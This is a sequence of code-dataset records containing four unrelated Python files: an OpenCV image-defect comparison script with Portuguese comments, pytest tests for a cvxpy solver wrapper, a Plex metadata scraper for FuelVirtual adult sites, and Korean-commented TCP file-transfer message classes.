angulo)\n show_img(copy, \"progress\")\n\n h, w = copy.shape[:2]\n\n for y in range(h):\n for x in range(w):\n if copy[y][x] == 255: break\n else: copy[y][x] = 255\n \n for x in range(w):\n for y in range(h):\n if copy[y][x] == 255: break\n else: copy[y][x] = 255\n \n for y in range(h-1, 0, -1):\n for x in range(w-1, 0, -1):\n if copy[y][x] == 255: break\n else: copy[y][x] = 255\n \n for x in range(w-1, 0, -1):\n for y in range(h-1, 0, -1):\n if copy[y][x] == 255: break\n else: copy[y][x] = 255\n\n show_img(copy, \"progress\")\n\n copy = remove_bordas(copy, show_progress, delay)\n\n show_img(copy,\"progress\")\n\n return copy\n \ndef verifica_pixel_valido(img1, img2, py:int, px:int)->bool:\n \"\"\"\n Verifica se há algum pixel semelhante proximo ao pixel selecionado.\\n\n @param img1: cv2 img\\n\n \\tImagem de base para comparacao.\\n\n @param img2: cv2 img\\n\n \\tImagem para verificar se os pixels semelhantes.\\n\n @param py: int\\n\n \\tponto y de coordenada do pixel.\\n\n @param px: int\\n\n \\tponto x de coordenada do pixel.\\n\n \"\"\"\n\n h, w = img1.shape[:2]\n\n for y in range(py-1, py+2):\n for x in range(px-1, px+2):\n if y < 0 or x < 0 or y >= h or x >= w: continue\n if y == py and x == px:continue\n if img1[y][x] == img2[py][px]:\n return True\n return False\n pass\n\ndef propaga(img1, img2, result, y:int, x:int)->int:\n \"\"\"\n Recursivamente verifica a extensao do erro encontrado para verificar sua relevancia.\\n\n @param img1: cv2 img\\n\n \\tImagem base para comparacao.\\n\n @param img2: cv2 img\\n\n \\tImagem para verificacao.\\n\n @param result: cv2 img\\n\n \\tMascara resultante da comparacao.\\n\n @param y: int\\n\n \\tcoordenada y do ponto a ser verificado.\\n\n @param x: int\\n\n \\tcoordenada x do ponto a ser verificado.\\n\n \"\"\"\n\n h, w = img1.shape[:2]\n\n try:\n if verif_cor_pixel(result[y][x], RED): \n return 0\n if verif_cor_pixel(result[y][x], BLUE): \n return 0\n if img1[y][x] == 255 and img2[y][x] == 255: return 0 \n elif img1[y][x] < 255 and img2[y][x] < 255: return 0\n else: \n if verifica_pixel_valido(img1, img2, y, x): return 0\n else: \n result[y][x] = BLUE\n direita, esquerda, cima, baixo = 0, 0, 0, 0\n if x + 1 < w: direita = propaga(img1, img2, result, y, x + 1)\n if x - 1 > 0: esquerda = propaga(img1, img2, result, y, x - 1)\n if y - 1 > 0: cima = propaga(img1, img2, result, y-1, x)\n if y + 1 < h: baixo = propaga(img1, img2, result, y+1, x)\n return 1 + direita + esquerda + cima + baixo\n except:\n return 0\n\ndef pinta_pixel_proximos(img, y:int, x:int, color:list = RED)->None:\n \"\"\"\n Verifica se o pixel e um pixel de erro e muda sua cor, e recursivamente\n verifica os pixels proximos a ele.\\n\n @param img: cv2 img\\n\n \\tImagem mascara base para verificacao dos pixels\\n\n @param y: int\\n\n \\tCoordenada y do pixel a ser verificado.\\n\n @param x: int\\n\n \\tcoordenada x do pixel a ser verificado\\n\n @param color: list\\n\n \\tCor que o pixel devera receber apos verificacao.\\n\n \"\"\"\n\n h, w = img.shape[:2]\n\n if verif_cor_pixel(img[y][x], BLUE): \n img[y][x] = color\n if x + 1 < w: direita = pinta_pixel_proximos(img, y, x + 1, color)\n if x - 1 > 0: esquerda = pinta_pixel_proximos(img, y, x - 1, color)\n if y - 1 > 0: cima = pinta_pixel_proximos(img, y - 1, x, color)\n if y + 1 < h: baixo = pinta_pixel_proximos(img, y + 1, x, color)\n \ndef verifica_linha(img, y:int, x:int)->bool:\n \"\"\"\n Verifica se o erro encontrado é uma linha de pixel unico, e provavelmente um erro equivocado.\\n\n @param img: cv2 img\\n\n \\tImagem de mascara para verificacao das linhas.\\n\n @param y: int\\n\n \\tCorrdenada y do ponto inicial da linha.\\n\n @param x: int\\n\n \\tCorrdenada x do ponto inicial da linha.\\n\n \"\"\"\n\n hor = 0\n ver = 0\n \n h, w = img.shape[:2]\n\n try:\n if not verif_cor_pixel(img[y][x-1], BLUE) and verif_cor_pixel(img[y][x], BLUE) and not verif_cor_pixel(img[y][x+1], BLUE) : ver +=1\n if not verif_cor_pixel(img[y][x-1], BLUE) and verif_cor_pixel(img[y+1][x], BLUE) and not verif_cor_pixel(img[y][x+1], BLUE): ver +=1\n if not verif_cor_pixel(img[y][x-1], BLUE) and verif_cor_pixel(img[y+2][x], BLUE) and not verif_cor_pixel(img[y][x+1], BLUE): ver +=1\n if not verif_cor_pixel(img[y][x-1], BLUE) and verif_cor_pixel(img[y+3][x], BLUE) and not verif_cor_pixel(img[y][x+1], BLUE): ver +=1\n if not verif_cor_pixel(img[y][x-1], BLUE) and verif_cor_pixel(img[y+4][x], BLUE) and not verif_cor_pixel(img[y][x+1], BLUE): ver +=1\n except:\n pass\n\n if ver >= 3: return True\n ver = 0\n \n\n try:\n if verif_cor_pixel(img[y][x], BLUE) and verif_cor_pixel(img[y][x+1], BLUE) and not verif_cor_pixel(img[y][x+2], BLUE): ver +=1\n if not verif_cor_pixel(img[y+1][x], BLUE) and verif_cor_pixel(img[y][x+1], BLUE) and not verif_cor_pixel(img[y][x+2], BLUE): ver +=1\n if not verif_cor_pixel(img[y+2][x], BLUE) and verif_cor_pixel(img[y][x+1], BLUE) and not verif_cor_pixel(img[y][x+2], BLUE): ver +=1\n if not verif_cor_pixel(img[y+3][x], BLUE) and verif_cor_pixel(img[y][x+1], BLUE) and not verif_cor_pixel(img[y][x+2], BLUE): ver +=1\n if not verif_cor_pixel(img[y+4][x], BLUE) and verif_cor_pixel(img[y][x+1], BLUE) and not verif_cor_pixel(img[y][x+2], BLUE): ver +=1\n except:\n pass\n\n if ver >= 3: return True\n ver = 0\n\n try:\n if not verif_cor_pixel(img[y-1][x], BLUE) and verif_cor_pixel(img[y][x], BLUE) and not verif_cor_pixel(img[y+1][x], BLUE) : hor +=1\n if not verif_cor_pixel(img[y-1][x], BLUE) and verif_cor_pixel(img[y][x+1], BLUE) and not verif_cor_pixel(img[y+1][x], BLUE): hor +=1\n if not verif_cor_pixel(img[y-1][x], BLUE) and verif_cor_pixel(img[y][x+2], BLUE) and not verif_cor_pixel(img[y+1][x], BLUE): hor +=1\n if not verif_cor_pixel(img[y-1][x], BLUE) and verif_cor_pixel(img[y][x+3], BLUE) and not verif_cor_pixel(img[y+1][x], BLUE): hor +=1\n if not verif_cor_pixel(img[y-1][x], BLUE) and verif_cor_pixel(img[y][x+4], BLUE) and not verif_cor_pixel(img[y+1][x], BLUE): hor +=1\n except:\n pass\n \n if hor >= 3: return True\n hor = 0\n\n return False\n\ndef compara_img(img1, img2, show_progress:bool, delay:int)->dict:\n \"\"\"\n Compara duas imagens para gerar pontos de erro e uma mascara de resultado.\\n\n @param img1: cv2 img\\n\n \\tImagem base para comparacao.\\n\n @param img2: cv2 img\\n\n \\tImagem a ser comparada com a base para achar possiveis falhas.\\n\n @param show_progress: bool\\n\n \\tSe verdadeiro mostra o prcesso de verificacao.\\n\n @param delay: int\\n\n \\tTempo que cada imagem aparecera na tela, em milissegundos.\\n\n \"\"\" \n h, w = img1.shape[:2]\n img2 = cv2.resize(img2, (w, h), interpolation= cv2.INTER_AREA)\n\n pontos = []\n # result = copia_colorida(img1)\n result = get_empty_img(h, w)\n\n for y in range(h):\n if y % int(h/20) == 0 and show_progress: \n linha_horizontal(result, Ponto(0, y), show_progress, delay)\n if PRINT_RESULT:print_result(result)\n \n for x in range(w):\n \n try:\n if img1[y][x] == 255 and img2[y][x] == 255: continue \n elif img1[y][x] < 255 and img2[y][x] < 255: result[y][x] = GREEN\n else: \n if verifica_pixel_valido(img1, img2, y, x): result[y][x] = BLACK\n else:\n if verif_cor_pixel(result[y][x], RED): continue\n error = propaga(img1, img2, result, y, x)\n if error > 3:\n if not verifica_linha(result, y, x):\n pinta_pixel_proximos(result, y, x, RED)\n if show_progress: show_img(result, \"progress\", 1)\n pontos.append(Ponto(x, y))\n except:\n result[y][x] = WHITE\n\n if PRINT_RESULT:print_result(result)\n\n if show_progress: show_img(result,'progress', delay)\n cv2.imwrite(\"%s/Comparacao.png\" %(PATH), result)\n\n return {\"pontos\":pontos, \"result\":result}\n\ndef ajusta_imagem(img, show_progress:bool = False, delay:int = 0)->int:\n \"\"\"\n Ajusta imagem para verificacao de erros.\\n\n (satura, limpa, angula, remove bordas)\\n\n @param img: cv2 img\\n\n \\tImagem para ser ajustada.\\n\n @param show_progress:bool\\n\n \\tSe verdadeiro mostra o o processo de ajuste da imagem.\\n\n @param delay:int\\n\n \\tTempo em que cada imagem sera exibida na tela. \\n\n \\tEm milissegundos.\\n\n \"\"\"\n\n img = satura(img, show_progress, delay)\n # remove_pixel_isolado(img, show_progress, delay)\n # img = remove_bordas(img, show_progress, delay)\n # img = ajusta_angulo(img, show_progress, delay)\n show_img(img, \"progress\", delay)\n \n try:\n return cv2.cvtColor(img, cv2.COLOR_RGB2GRAY)\n except:\n print(\"ERROR AJUSTA IMAGEM CONVERTER PARA GRAY\")\n return img\n\ndef verif_cor_pixel(pixel:list, color:list)->bool:\n \"\"\"\n Verifica a cor do pixel e a mesma que a cor passada.\\n\n @param pixel: list\\n\n \\tPixel para verificar a cor.\\n\n @param color: list\\n\n \\tCor base para verificacao do pixel.\\n\n \"\"\"\n\n for i in range(len(pixel)):\n if pixel[i] != color[i]: return False\n return True\n\ndef checa_validadae_erro(img, py:int, px:int)->bool:\n \"\"\"\n Verifica se o tamanho do erro é grande o suficiente para ser um erro valido, \n como um quadrado 2x2.\\n\n @param img: cv2 img\\n\n \\tA imagem para ser validado o erro.\\n\n @param py: int\\n\n \\tCoodernada y do ponto inicial do erro.\\n\n @param px: int\\n\n \\tCoodernada x do ponto inicial do erro.\\n\n \"\"\"\n\n # pixel de erro 2x2\n tam_pixel_erro = 2\n \n for y in range(py, py+tam_pixel_erro):\n for x in range(px, px+tam_pixel_erro):\n if not verif_cor_pixel(img[y][x], BLUE): return False\n return True\n\ndef limpa_falso_positivo(img, show_progress:bool, delay:int)->list:\n \"\"\"\n Verifica os erros encontrados na imagem e exclui aqueles que possivelmente nao são erros validos\\n\n\n @param img: cv2 img\\n\n \\tA imagem de mascara para verificar os erros encontrados.\\n\n @param show_progress: bool\\n\n \\tSe verdadeiro exibe o processo de limpeza da imagem\\n\n @param delay: int\\n\n \\tO tempo em que cada imagem sera exibida na tela.\\n\n \\tEm milissegundos.\\n\n\n @return a list of points that possibly have errors\\n\n\n \"\"\"\n #! MUDAR METODO PARA ACHAR OS PONTOS DE ERRO DIRETAMENTE \n\n pontos = []\n h, w = img.shape[:2]\n for y in range(h):\n if show_progress and y % 50 == 0: \n show_img(img, \"progress\", delay)\n if PRINT_RESULT:print_result(img)\n for x in range(w):\n if verif_cor_pixel(img[y][x], BLUE):\n if checa_validadae_erro(img, y, x):\n pontos.append(Ponto(x,y))\n for py in range(y, y+3):\n for px in range(x, x+3):\n img[py][px] = RED\n if show_progress: \n show_img(img, \"progress\", delay)\n if show_progress: show_img(img, \"progress\")\n if PRINT_RESULT:print_result(img)\n cv2.imwrite(\"Result_Erros.png\", img)\n return pontos\n\ndef remove_pontos_proximos(pontos:list, delete_range:int=40)->list:\n \"\"\"\n Remove pontos selecionados proximos um ao outro dentro de um range, \n para evitar que o mesmo trecho da imagem seja exibido mais de uma vez.\\n\n @param pontos: list\\n\n \\tLista de pontos selecionados para verificação.\\n\n @paaram delete_range: int\\n\n \\tRange que sera removido os pontos que estiverem dentro\\n\n \"\"\"\n # print(len(pontos))\n if len(pontos) == 0: return pontos\n pontos_selecionados = []\n \n \n pontos.reverse()\n pontos_selecionados.append(pontos.pop())\n\n while len(pontos) > 0:\n ponto = pontos.pop()\n \n y = pontos_selecionados[-1].y\n x = pontos_selecionados[-1].x\n \n if ponto.x > x and ponto.x < x + delete_range or ponto.y > y and ponto.y < y + delete_range: continue\n\n pontos_selecionados.append(ponto)\n # print(len(result))\n return pontos_selecionados\n\ndef pergunta_yes_no(titulo:str, texto:str)->None:\n \"\"\"\n Utiliza o Tkinter para exibir uma mensagem de confimação na tela.\\n\n @param titulo: str\\n\n \\tTitulo da mensagem\\n\n @param texto: str\\n\n \\t Conteudo da mensagem\\n\n \"\"\"\n\n msg = tk.messagebox.askquestion(titulo, texto, icon=\"warning\")\n if msg == 'yes': \n return True\n else: \n return False\n \n \n # root.mainloop()\n\ndef junta_tres_imagens(img1, img2, img3)->int:\n \"\"\"\n Une 3 imagens de mesmo tamanho em uma unica imagem.\\n\n img1, img2, img3: cv2 img\\n\n \\tImagem para uniao.\\n\n \"\"\"\n\n h1, w1 = img1.shape[:2]\n h2, w2 = img2.shape[:2]\n h3, w3 = img3.shape[:2]\n\n result = get_empty_img(img1, h1, w1+w2+w3)\n\n img1 = copia_colorida(img1)\n img2 = copia_colorida(img2)\n img3 = copia_colorida(img3)\n\n for y in range(h1):\n for x in range(w1):\n \n result[y][x] = img1[y][x]\n\n for y in range(h2):\n for x in range(w2):\n \n result[y][x + w1] = img2[y][x]\n for y in range(h3):\n for x in range(w3):\n result[y][x + w1 + w2] = img3[y][x]\n \n return result\n\n\ndef start(index_base = 0, index_def = 0):\n\n path, dirs, files = next(os.walk(\"./bases\"))\n print(path, dirs)\n\n dir_index = -1\n while dir_index < 0 or dir_index >= len(dirs):\n system(\"cls\")\n print(\"Escolha Quais imagens trabalhar\")\n for dir_name in dirs:\n print(dir_name)\n dir_index = int(input()) - 1\n pass\n\n dir_name = dirs[dir_index] + \"/\"\n bases = carrega_img_base(dir_name)\n defeitos = carrega_img_def(dir_name)\n # img_base = bases[1]\n # img_def = defeitos[2]\n\n # img_base = bases[index_base]\n # img_def = defeitos[index_def]\n\n img_base = copia_escala_cinza(bases[index_base])\n img_def = copia_escala_cinza(defeitos[index_def])\n\n\n # show_img(junta_tres_imagens(zoom_img(img_base, 1000, 1100), zoom_img(img_def, 1100, 1100), zoom_img(img_base, 900, 900)))\n\n\n # img_def = defeitos[6]\n # img_def = defeitos[3]\n img_def = ajusta_imagem(img_def, True, 3)\n print(\"IMAGEM AJUSTADA\")\n img_base = ajusta_imagem(img_base, True, 3)\n print(\"IMAGEM AJUSTADA\")\n \n comparacao = compara_img(img_base, img_def, True, 3)\n \n erros = comparacao[\"pontos\"]\n result = comparacao[\"result\"]\n\n\n print(\"COMPARACAO FEITA\")\n # erros = limpa_falso_positivo(result, True, 3) \n print(\"ERROS DETECTADOS\")\n\n # erros = remove_pontos_proximos(erros)\n\n erros_confirmados = []\n\n root = tk.Tk()\n S = tk.Scrollbar(root)\n T = tk.Text(root, height=4, width=50)\n S.pack( side=tk.RIGHT, fill=tk.Y)\n T.pack( side=tk.LEFT, fill=tk.Y)\n S.config( command=T.yview)\n T.config( yscrollcommand=S.set)\n quote = \"Verificando Similaridade de Imagens.\"\n T.insert(tk.END, quote)\n for ponto in erros:\n \n z1 = zoom_img(bases[index_base], ponto)\n z2 = zoom_img(defeitos[index_def] , ponto)\n z3 = zoom_img(result , ponto)\n \n zz = junta_tres_imagens(z1,z2,z3)\n show_img(zz, \"Comparacao\", 1, 400, 1200)\n\n cv2.imwrite(\"%s/erro_%s_%s.png\" %(PATH, ponto.x, ponto.y), zz)\n\n # show_img(zz, 'ZOOM MASTER')\n if PRINT_RESULT: print_result(zz)\n\n if pergunta_yes_no(\"São iguais\", \"Tem erros na imagem?\"): \n erros_confirmados.append(ponto)\n\n root.mainloop()\n\n result = contorna_pontos(img_def, erros_confirmados, tamanho=60, expessura=5)\n\n show_img(result, \"progress\", 0)\n cv2.imwrite(\"%s/Resultado_final.png\" %(PATH), result)\n\nsystem('mkdir ' + PATH)\nstart()\nsubprocess.Popen('explorer \"%s\"' %(PATH))\n","sub_path":"visao_cv_propagacao.py","file_name":"visao_cv_propagacao.py","file_ext":"py","file_size_in_byte":43555,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"277151563","text":"import cvxpy as cvx\nimport numpy as np\nimport pytest\nfrom cvxpy.error import ParameterError\n\nfrom pyutil.cvx.util import Solver\n\n\ndef solver(n):\n weights = cvx.Variable(n, name=\"weights\")\n\n mu = cvx.Parameter(n, name=\"exp_return\")\n max_leverage = cvx.Parameter(nonneg=True, name=\"max_leverage\", value=0.0)\n\n constraints = [cvx.sum(weights) == 0, cvx.norm1(weights) <= max_leverage]\n\n return Solver(problem=cvx.Problem(objective=cvx.Maximize(mu * weights), constraints=constraints))\n\n\ndef f(mu, max_leverage=None, *args, **kwargs):\n n = len(mu)\n\n # create a suitable solver\n s = solver(n)\n\n # inject the parameters\n s.parameters[\"exp_return\"].value = mu\n s.parameters[\"max_leverage\"].value = max_leverage or s.parameters[\"max_leverage\"].value\n\n # solve the problem\n s.solve(*args, **kwargs)\n\n # return the solution\n return s.variables[\"weights\"].value\n\n\ndef test_solve():\n s = solver(2)\n\n s.parameters[\"exp_return\"].value = np.array([2.0, 3.0])\n s.parameters[\"max_leverage\"].value = 2.0\n\n s.solve()\n np.allclose(s.variables[\"weights\"].value, np.array([-1.0, +1.0]))\n\n\ndef test_items():\n s = solver(2)\n s.parameters[\"exp_return\"].value = np.array([2.0, 3.0])\n s.parameters[\"max_leverage\"].value = 2.0\n\n s.solve()\n\n d = {name: v for name, v in s.variables.items()}\n np.allclose(d[\"weights\"].value, np.array([-1.0, +1.0]))\n\n d = {name: p for name, p in s.parameters.items()}\n assert d[\"max_leverage\"].value == 2.0\n\n\ndef test_neg_max_leverage():\n s = solver(2)\n with pytest.raises(ValueError):\n s.parameters[\"max_leverage\"].value = -2.0\n\n with pytest.raises(ValueError):\n s.parameters[\"exp_return\"].value = np.array([2.0, np.nan])\n\n\ndef test_f():\n weights = f(mu=np.array([2.0, 3.0]), max_leverage=2.0)\n np.allclose(weights, np.array([-1.0, +1.0]))\n\n\ndef test_too_early():\n s = solver(2)\n # if you call the solver without injecting the parameters first... error\n with pytest.raises(ParameterError):\n s.solve()\n\n","sub_path":"test/test_cvxpy/test_util.py","file_name":"test_util.py","file_ext":"py","file_size_in_byte":2035,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"205214999","text":"import PAsearchSites\nimport PAutils\n\n\ndef search(results, lang, siteNum, searchData):\n req = PAutils.HTTPRequest(PAsearchSites.getSearchSearchURL(siteNum) + searchData.encoded)\n searchResults = HTML.ElementFromString(req.text)\n for searchResult in searchResults.xpath('//div[@align=\"left\"]'):\n titleNoFormatting = searchResult.xpath('.//td[@valign=\"top\"][2]/a')[0].text_content().strip()\n curID = PAutils.Encode(searchResult.xpath('.//td[@valign=\"top\"][2]/a/@href')[0])\n\n date = searchResult.xpath('.//span[@class=\"date\"]')[0].text_content().replace('Added', '').strip()\n releaseDate = parse(date).strftime('%Y-%m-%d')\n\n if searchData.date:\n score = 100 - Util.LevenshteinDistance(searchData.date, releaseDate)\n else:\n score = 100 - Util.LevenshteinDistance(searchData.title.lower(), titleNoFormatting.lower())\n\n results.Append(MetadataSearchResult(id='%s|%d|%s' % (curID, siteNum, releaseDate), name='%s [FuelVirtual/%s] %s' % (titleNoFormatting, PAsearchSites.getSearchSiteName(siteNum), releaseDate), score=score, lang=lang))\n\n return results\n\n\ndef update(metadata, lang, siteNum, movieGenres, movieActors, art):\n metadata_id = str(metadata.id).split('|')\n siteName = PAsearchSites.getSearchSiteName(siteNum).strip()\n sceneURL = PAutils.Decode(metadata_id[0])\n if siteName == 'NewGirlPOV':\n server_path = '/tour/newgirlpov/'\n else:\n server_path = '/membersarea/'\n sceneURL = PAsearchSites.getSearchBaseURL(siteNum) + server_path + sceneURL\n\n sceneDate = metadata_id[2]\n req = PAutils.HTTPRequest(sceneURL)\n detailsPageElements = HTML.ElementFromString(req.text)\n\n # Title\n if siteName == 'NewGirlPOV':\n metadata.title = detailsPageElements.xpath('//title')[0].text_content().split(' ')[1].strip()\n else:\n metadata.title = detailsPageElements.xpath('//title')[0].text_content().split('-')[0].strip()\n\n # Studio\n metadata.studio = 'FuelVirtual'\n\n # Tagline and Collection(s)\n metadata.collections.clear()\n tagline = siteName\n metadata.tagline = tagline\n metadata.collections.add(tagline)\n\n # Release Date\n if sceneDate:\n date_object = parse(sceneDate)\n metadata.originally_available_at = date_object\n metadata.year = metadata.originally_available_at.year\n\n # Genres\n movieGenres.clearGenres()\n for genreLink in detailsPageElements.xpath('//td[@class=\"plaintext\"]/a[@class=\"model_category_link\"]'):\n genreName = genreLink.text_content().strip()\n\n movieGenres.addGenre(genreName)\n if siteName != 'NewGirlPOV':\n movieGenres.addGenre('18-Year-Old')\n\n # Actors\n movieActors.clearActors()\n actors = detailsPageElements.xpath('//div[@id=\"description\"]//td[@align=\"left\"]/a')\n if actors:\n if len(actors) == 3:\n movieGenres.addGenre('Threesome')\n if len(actors) == 4:\n movieGenres.addGenre('Foursome')\n if len(actors) > 4:\n movieGenres.addGenre('Orgy')\n\n actorPhotoURL = ''\n\n # Ambiguous actors must be hardcoded by ID\n found_scene_id = False\n scene_id = re.search(r'id=(\\d+)', sceneURL)\n if scene_id:\n scene_id = int(scene_id.group(1))\n if siteName in actor_db and scene_id in actor_db[siteName]:\n found_scene_id = True\n for actorName in actor_db[siteName][scene_id]:\n movieActors.addActor(actorName, actorPhotoURL)\n\n if not found_scene_id:\n for actorLink in actors:\n actorName = actorLink.text_content().strip()\n movieActors.addActor(actorName, actorPhotoURL)\n\n # Posters\n xpaths = [\n '//a[@class=\"jqModal\"]/img/@src',\n '//div[@id=\"overallthumb\"]/a/img/@src',\n ]\n for xpath in xpaths:\n for img in detailsPageElements.xpath(xpath):\n if img.startswith('/'):\n img = PAsearchSites.getSearchBaseURL(siteNum) + img\n else:\n img = PAsearchSites.getSearchBaseURL(siteNum) + '/tour/newgirlpov/' + img\n\n art.append(img)\n\n photoPageUrl = sceneURL.replace('vids', 'highres')\n req = PAutils.HTTPRequest(photoPageUrl)\n photoPage = HTML.ElementFromString(req.text)\n for img in photoPage.xpath('//a[@class=\"jqModal\"]/img/@src'):\n img = PAsearchSites.getSearchBaseURL(siteNum) + img\n\n art.append(img)\n\n re_img = re.compile(r'image:\\s*\"(.+)\"')\n for script in detailsPageElements.xpath('//div[@id=\"mediabox\"]/script/text()'):\n match = re_img.search(script)\n if match:\n art.append(PAsearchSites.getSearchBaseURL(siteNum) + match.group(1))\n\n Log('Artwork found: %d' % len(art))\n for idx, posterUrl in enumerate(art, 1):\n if not PAsearchSites.posterAlreadyExists(posterUrl, metadata):\n # Download image file for analysis\n try:\n image = PAutils.HTTPRequest(posterUrl)\n im = StringIO(image.content)\n resized_image = Image.open(im)\n width, height = resized_image.size\n # Add the image proxy items to the collection\n if width > 1 or height > width:\n # Item is a poster\n metadata.posters[posterUrl] = Proxy.Media(image.content, sort_order=idx)\n if width > 100 and width > height:\n # Item is an art item\n metadata.art[posterUrl] = Proxy.Media(image.content, sort_order=idx)\n except:\n pass\n\n return metadata\n\n\nactor_db = {\n 'FuckedHard18': {\n 434: ['Abby Lane'],\n 435: ['Abby Cross'],\n 445: ['Alexa Rydell'],\n 446: ['Alexa Nicole'],\n 469: ['Alexis Grace'],\n 470: ['Ashley Abott'],\n 474: ['Ashlyn Molloy'],\n 481: ['Ava White'],\n 482: ['Ava Sparxxx'],\n 483: ['Ava Taylor'],\n 486: ['Dahlia Sky'],\n 487: ['Bailey Bam'],\n 501: ['Callie Cobra'],\n 502: ['Callie Cyprus'],\n 503: ['Callie Calypso'],\n 522: ['Chloe Addison'],\n 523: ['Chloe Brooke'],\n 524: ['Chloe Foster'],\n 553: ['Gracie Glam'],\n 554: ['Gracie Ivanoe'],\n 558: ['Holly Sims'],\n 559: ['Holly Michaels'],\n 572: ['Jenna Ashley'],\n 573: ['Jenna Ross'],\n 591: ['Katie Jordin'],\n 592: ['Katie Michaels'],\n 612: ['Lexi Bloom'],\n 613: ['Lexi Swallow'],\n 621: ['Lily Love'],\n 622: ['Lily Carter'],\n 625: ['Lola Foxx'],\n 648: ['Melissa Mathews'],\n 651: ['Mia Malkova'],\n 652: ['Mia Gold'],\n 661: ['Molly Madison'],\n 662: ['Molly Bennett'],\n 668: ['Naomi West'],\n 684: ['Rachel Rogers'],\n 685: ['Rachel Roxxx'],\n 686: ['Rachel Bella'],\n 692: ['Riley Ray'],\n 693: ['Riley Jensen', 'Celeste Star'],\n 694: ['Riley Reid'],\n 695: ['Chanel White'],\n 703: ['Samantha Ryan'],\n 717: ['Sophia Sutra'],\n 718: ['Sophia Striker'],\n 728: ['Taylor Tilden'],\n 729: ['Taylor Whyte'],\n 749: ['Veronica Radke'],\n 750: ['Veronica Rodriguez'],\n 757: ['Whitney Stevens'],\n 825: ['Alexa Grace'],\n 839: ['Abby Cross'],\n 947: ['Melissa May'],\n },\n 'MassageGirls18': {\n 134: ['Melissa Mathews'],\n 135: ['Melissa Mathews'],\n 137: ['Abby Paradise'],\n 138: ['Abby Cross'],\n 139: ['Abby Lane'],\n 147: ['Alexa Nicole'],\n 148: ['Alexa Rydell'],\n 169: ['Ashley Abott'],\n 170: ['Alexis Grace'],\n 178: ['Ava Sparxxx'],\n 179: ['Ava White'],\n 181: ['Bailey Bam'],\n 183: ['Dahlia Sky'],\n 196: ['Callie Calypso'],\n 197: ['Callie Cobra'],\n 198: ['Callie Cyprus'],\n 211: ['Riley Jensen', 'Celeste Star'],\n 213: ['Chloe Skyy'],\n 215: ['Chloe Brooke'],\n 242: ['Gracie Glam'],\n 243: ['Gracie Ivanoe'],\n 248: ['Holly Sims'],\n 249: ['Holly Michaels'],\n 262: ['Jenna Ross'],\n 276: ['Katie Jordin'],\n 277: ['Katie Michaels'],\n 278: ['Katie Summers'],\n 301: ['Lily Carter'],\n 302: ['Lily Love'],\n 305: ['Lola Foxx'],\n 332: ['Mia Gold'],\n 333: ['Mia Malkova'],\n 341: ['Molly Bennett'],\n 342: ['Molly Madison'],\n 361: ['Rachel Bella'],\n 362: ['Rachel Roxxx'],\n 367: ['Riley Ray'],\n 368: ['Chanel White'],\n 394: ['Sophia Striker'],\n 395: ['Sophia Sutra'],\n 403: ['Taylor Whyte'],\n 404: ['Taylor Tilden'],\n 422: ['Veronica Radke'],\n 423: ['Veronica Rodriguez'],\n 768: ['Samantha Rone'],\n 828: ['Bailey Bae'],\n },\n 'NewGirlPOV': {\n 1159: ['Ashley Adams'],\n 1178: ['Lola Hunter'],\n 1206: ['Molly Manson'],\n 1242: ['Naomi Woods'],\n 1280: ['Melissa Moore'],\n },\n}\n","sub_path":"Contents/Code/networkFuelVirtual.py","file_name":"networkFuelVirtual.py","file_ext":"py","file_size_in_byte":9023,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"142951535","text":"#-*- coding:utf-8 -*-\n\nimport tcpip.message\nfrom tcpip.message import ISerializable\n\nimport struct\n\n\n # 파일 전송 요청 메세지(REQ_FILE_SEND = 0x01)에 사용할 본문 클래스이다.\n # FILESIZE와 FILENAME 데이터 속성을 갖는다.\n # Client가 사용할 예정\nclass BodyRequest(ISerializable):\n def __init__(self, buffer):\n if buffer != None: # 바디에 데이터가 있는 경우\n slen = len(buffer)\n\n # 1 unsigned long long, N character\n self.struct_fmt = str.format('=Q{0}s', slen - 8) # 바디 형식\n self.struct_len = struct.calcsize(self.struct_fmt) # 바디 길이\n if slen > 4: # unsigned long long 의 크기\n slen = slen - 4\n else:\n slen = 0\n\n unpacked = struct.unpack(self.struct_fmt, buffer) # buffer 압축해제. 데이터 파싱할 예정\n\n self.FILESIZE = unpacked[0]\n self.FILENAME = unpacked[1].decode(encoding='utf-8').replace('\\x00', '') # 사용자 언어로 변환 ASCII-->str\n\n else: # 바디에 아무런 데이터가 없을 경우\n self.struct_fmt = str.format('Q{0}s', 0)\n self.struct_len = struct.calcsize(self.struct_fmt)\n self.FILESIZE = 0\n self.FILENAME = ''\n\n # 바디 압축\n def GetBytes(self):\n buffer = self.FILENAME.encode(encoding='utf-8') # str-->ASCII\n\n # 1 unsinged long long, N character\n self.struct_fmt = str.format('Q{0}s', len(buffer))\n\n return struct.pack(\n self.struct_fmt,\n *(\n self.FILESIZE,\n buffer\n ))\n\n # 바디의 길이\n def GetSize(self):\n buffer = self.FILENAME.encode(encoding='utf-8')\n\n # 1 unsigned long long, N character\n self.struct_fmt = str.format('=Q{0}s', len(buffer))\n self.struct_len = struct.calcsize(self.struct_fmt)\n return self.struct_len\n\n\n\n ################################################################################################################\n\n\n # 파일 전송 요청에 대한 응답 메시지(REP_FILE_SEND = 0x02)에 사용할 본문 클래스이다.\n # 요청 메세지의 MSGID와 수락 여부를 나타내는 RESPONSE 데이터 속성을 갖는다.\n # Server가 사용할 예정\n\nclass BodyResponse(ISerializable):\n def __init__(self, buffer):\n # 1 unsinged int, Byte\n self.struct_fmt = '=IB'\n self.struct_len = struct.calcsize(self.struct_fmt)\n\n if buffer != None:\n unpacked = struct.unpack(self.struct_fmt, buffer) # buffer 압축 해제\n\n self.MSGID = unpacked[0] # 메세지 구분 ID\n self.RESPONSE = unpacked[1] # 요청 수락\n else:\n self.MSGID = 0\n self.RESPONSE = tcpip.message.DENIED # 파일 전송 거절\n\n def GetBytes(self):\n return struct.pack(\n self.struct_fmt,\n *(\n self.MSGID,\n self.RESPONSE\n ))\n\n def GetSize(self):\n return self.struct_len\n\n\n\n ###########################################################################################################\n\n\n # 실제 파일을 전송하는 메세지(FILE_SEND_DATA = 0x03)에 사용할 본문 클래스이다.\n # 앞서 프로토콜 ��의에서 언급되었던 것처럼 DATA 필드만 갖고 있다.\nclass BodyData(ISerializable):\n def __init__(self, buffer):\n if buffer != None:\n self.DATA = buffer\n\n def GetBytes(self):\n return self.DATA\n\n def GetSize(self):\n return len(self.DATA)\n\n\n 